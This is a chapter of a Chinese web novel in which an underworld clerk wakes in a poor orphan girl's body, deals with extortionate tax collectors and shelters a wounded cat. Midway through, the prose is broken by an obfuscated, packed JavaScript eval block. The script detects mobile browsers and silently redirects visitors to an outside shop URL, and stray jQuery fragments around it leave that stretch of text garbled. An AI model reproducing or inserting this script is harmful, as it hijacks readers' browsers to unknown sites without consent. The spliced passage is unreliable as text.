正值盛夏时节,暑气闷热,让人喘不过气。
一间残破不堪的茅土屋内,宋欢猛地睁开双眼。
这具躯体不过十四五岁年纪。
宋欢一张素净鹅蛋脸,肤色因为常年缺衣少食,带着一层淡淡的冷白,脸颊微微有些凹陷,少了几分少女该有的圆润。
一眼看过去,眉形清浅,眼尾微微向下,一双瞳色是极通透的墨黑,不笑的时候,看着淡漠疏离,像一潭不起波澜的深水。
少女独有的唇色偏淡,下颌线条利落倔强,藏着不肯轻易认输的韧劲。
身上穿着洗得发白的粗布短褐,衬得身形格外单薄,肩背纤细,看着仿佛一阵大风便能吹倒。
宋欢瘦弱的胸腔剧烈的起伏着,一阵一阵的眩晕席卷而来,无数细碎的光影在她的脑海里一闪而过,快得让她抓不住。
她身下是硬邦邦的干草,土炕的味道萦绕在四周,混合着屋外草木燥热的气息。
突然脑海中响起一道淡漠的声音。
【滴——阴差编号739,肉身绑定完成。】
【身份加载完毕:人界普通农家孤女宋欢。】
【主线任务:于凡界乱世之中,收割十万恶者魂魄,任务完成,奖励重生资格。】
宋欢慢慢地撑着身子坐起,用自己瘦弱白皙的手指,揉了揉发胀的太阳穴。
她脑子里空空荡荡,关于过去,什么都想不起来。
她只记得一件事,自己是一名地府阴差,因为闯下祸事,领了这份下界的差事。
她的目标就是收够十万恶魂,交给阎君,拿到任务奖励,就可以安安稳稳地拥有属于自己的新生。
仅此而已,其他的一概都不记得了。
她环顾四周,这里不是她熟悉的地府,那个地方常年阴冷,这是人间!
耳中断断续续的传来嘈杂声音,妇女的呵斥声,孩子压抑的哭声。
宋欢扶着土墙缓慢的走到窗边,推开破破烂烂的木窗。
一瞬间刺眼毒辣的阳光扑面而来,她下意识眯起眼睛。
小院篱笆歪歪扭扭,墙角杂草疯长,后院一小块薄地,便是她后面全部的生计指望。
原身本来就是村子里无父无母的孤女,不慎染了风寒,一直高热不退,最后一命呜呼,自己这才占据了这具凡人的躯体。
“也罢。”
宋欢轻轻地吐出一口气,眼底掠过一丝释然。
她本来就是一个小阴差,没有什么宏图大志,既不能拯救苍生,也不能搅动风云。
十万恶魂,听着数量吓人,慢慢来就是。
在盛世时期,十万恶魂,她捅破天也拿不出来,可是在这乱世,十万恶魂,也就是一场战争的事儿。
现在这是永安一百三十年,人间最苦的年月。
南北分裂,烽火不休,胡人时常南下劫掠,官吏层层盘剥,寻常百姓活一日,便是赚一日。
自己只要能活下去,平日里种种地,苟住性命,碰到作恶之人顺手收走魂魄,安安稳稳熬到任务结束,交差走人。
她默默地在心里给自己定下了最高的行为准则。
主打一个,不求出彩,只求安稳交差。
哐当——!
巨大的踹门声骤然响起,直接打破小院短暂的平静。
可怜的木门被踹成三半,飞出老远,壮烈牺牲。
吓得她扣了一手墙皮!本来□□的土墙,这下都摇摇欲坠了!
“宋丫头!开门!征粮!”
尖锐蛮横的吼声隔着篱笆砸进来。
宋欢心里微微一沉。
来了。
村里催缴粮税的两个差役,张差役与李差役。
零碎的记忆碎片闪过,这是原身的。
二人借着收税的名头,常年欺压着村里的穷苦农户,抢粮索财更是不在话下!
可怜的农户稍有不顺从便遭到一顿拳打脚踢,这二人手上沾过好几条百姓的性命,妥妥在恶魂名单之内。
“宋丫头!在家吗!里正吩咐,各家要再上缴半袋粗粮,快点拿出来!别等着我们进去搜!”
宋欢清冷的眸光扫过去。
这两人虽是村里的差役,长得五大三粗,却是两个娘娘腔。
宋欢心里默默叹了口气。
好家伙,上岗第一天,KPI还没开始动,先遇到上门找麻烦的。
别人下界历情劫,她下界就是体验贫困县,种地打卡吧!
乱世打工人,开局地狱难度是吧!
宋欢一声苦笑,现在绝对不能动手。
她刚刚接管这具肉身,阴差的力量微弱,贸然出手,必定引来旁人猜忌。
一旦被人盯上,引来不必要的麻烦,会打扰她想要的安稳生活,也会妨碍到任务进度。
“知道了,稍等片刻。”
宋欢虚弱的扬声应了一句,费力撑着单薄的身子,转身走到屋内。
土墙下立着破旧的粮缸,里面只剩下浅浅的一层糙米,是原身省吃俭用,赖以活命的口粮。
好家伙,刚上岗第一天,就要被薅走粮食。
她打开布袋,分出大半糙米,用麻绳捆紧袋口,拿在手中,晃晃悠悠的走出去。
正午刺眼的阳光落在她脸上,长长的睫毛在眼下投出一小片浅淡的阴影,明明生得清秀,眼底却没有寻常农家少女的惶恐怯懦。
两名差役斜靠在院门口,一身灰扑扑的粗布官差服,脸上满是不耐。
看见宋欢出来,眼神先是扫过她清秀却带着几分病气的脸,目光随即落在了她手里的粮袋上。
三角眼的张差役一把抢过粮袋,掂了掂重量,脸色立刻沉下来。
“就这点?边关战事吃紧,官府征粮,你敢藏私?”
他上前一步,眼神阴沉沉扫过院内,打算直接进屋翻找剩下的粮食。
李差役恶狠狠盯着她,尖着嗓子威胁道:
“宋丫头,别不识好歹想着藏粮!但凡敢私藏粮食的人,都被咱哥俩抓去县里打板子!”
宋欢神色倔强,不争吵,不退让。
“剩下的粮食,是我这两天活命的口粮。”
就在张差役瞪着三角眼,准备亲自动手搜刮一番的时候,远处一阵急促的呼喊声,顺着风传过来。
“张差役!李差役!胡人游骑在村子外围出没!里正正在召集壮丁守村口!”
两人脸色瞬间惨白,哪里还顾得上搜刮粮食。
“算你走运!”
二人恶狠狠地丢下一句威胁,拎着粮食,急匆匆地拉着同伴的手,朝着村口的方向扭着屁股,狂奔而去。
院子门口重归安静。
宋欢望着两人仓皇远去的背影,眼底波澜压下。
不急。
善恶终有报,不必急于一时。
她一番周旋下来,心神耗费不少,腹中早已空空如也,饿得阵阵发慌。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17807572|210754||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
干饭干饭,干饭不积极,思想有问题!
哗啦!声响!
宋欢刚刚伸出脚,却听见篱笆角落传来一阵微弱的呜咽声。
她收回脚步,好奇地走近,停低头查看,枯草堆缝隙里缩着一只圆滚滚的三花猫。
三花猫的毛发非常蓬松,吃的很胖,圆滚滚的像个球。
但是后腿处却带着狰狞的伤口,浑身沾满尘土,墨绿色圆眼睛怯生生地望着她。
它疼得微微发抖,看起来却没有半点攻击性。
宋欢心底微软,动作极轻地将小猫抱进怀里。
小家伙沉甸甸毛茸茸一团,暖意顺着掌心漫开。
宋欢指尖触碰到毛的瞬间,一缕悠远淡薄的合欢花香一闪而过,她只当是山野草木气息,并未放在心上。
她把小猫安置在屋内的木凳上:“别动,我先弄些吃的。”
天色渐昏,村落家家户户炊烟寥寥。
乱世物资极度匮乏,差役抢走大半粮食,她灶台里只剩少量的碎米和几颗干瘪的野菜。
宋欢俯身生火,枯枝燃起跳动的火苗,冷清的小屋终于多了几分烟火气。
清水在铁锅中煮沸,舀出一些糙米,米粒慢慢地熬出米香。
野菜洗干净下入锅中,熬成一锅清淡的野菜稀粥。
灶台边的三花猫支起耳朵,圆溜溜的眼睛死死盯着锅面,鼻尖不停抽动,馋得尾巴尖轻轻晃动。
可它却故作傲娇地扭过头,装作对食物毫无兴趣,可鼻尖却非常诚实,不断朝着灶台方向凑近。
宋欢看着它可爱的模样,嘴角掠过一丝极淡的笑意。
这猫极通人性,还是一个死傲娇!
野菜粥煮好后,她先舀出一碗,温热的米汤放凉,轻轻推到小猫面前:
“你身上有伤,先喝点米汤垫垫肚子子。”
三花猫绿眸一亮,装作勉为其难的模样,身体却诚实的低头小口舔舐,
它舒服地耷拉下耳朵,尾巴一圈圈裹住自己圆胖的身子。
宋欢把剩下的粥倒在自己碗中,坐在矮凳上悠悠喝着,野菜粥虽不是什么美味佳肴,但也是这乱世中难得的食物。
温热的食物滑入胃中,白日被差役刁难的不爽,稍稍得到些许舒缓。
她苍白的脸色也有所好转,慢慢红润起来,单薄的身子周围也生出暖意。
乱世之中,能填饱肚子安稳度日,已经是难得的幸运。
吃完饭她收拾好厨具,取来捣碎的止血草药,细心给三花猫包扎后腿的伤口。
这家伙十分乖巧,任由她摆弄,碧绿的眼眸深处藏着跨越万古的沉静。
夜色缓缓笼罩小叶村,风声萧瑟。
宋欢关好破旧木门,盘膝坐在屋内,视野角落浮现出一行只有她能看见的淡色字迹:【任务进度:0/100000】。
收割十万恶魂的长路遥遥无期,她打定主意远离情爱纠葛,避开前世所有恩怨,只求踏踏实实完成任务,换取往后一世自由安稳。
入夜之后困意席卷而来,宋欢沉沉睡去,破碎的噩梦如期降临。
漫山遍野盛放的合欢花,一名红衣之人静静伫立花海之中。
画面一闪而逝,消失得干干净净。
宋欢尚且不知道。
一场横跨万古,牵扯三界所有人命运的巨大棋局,早已悄然落子。
而她,正是棋盘之中,最重要的那一枚。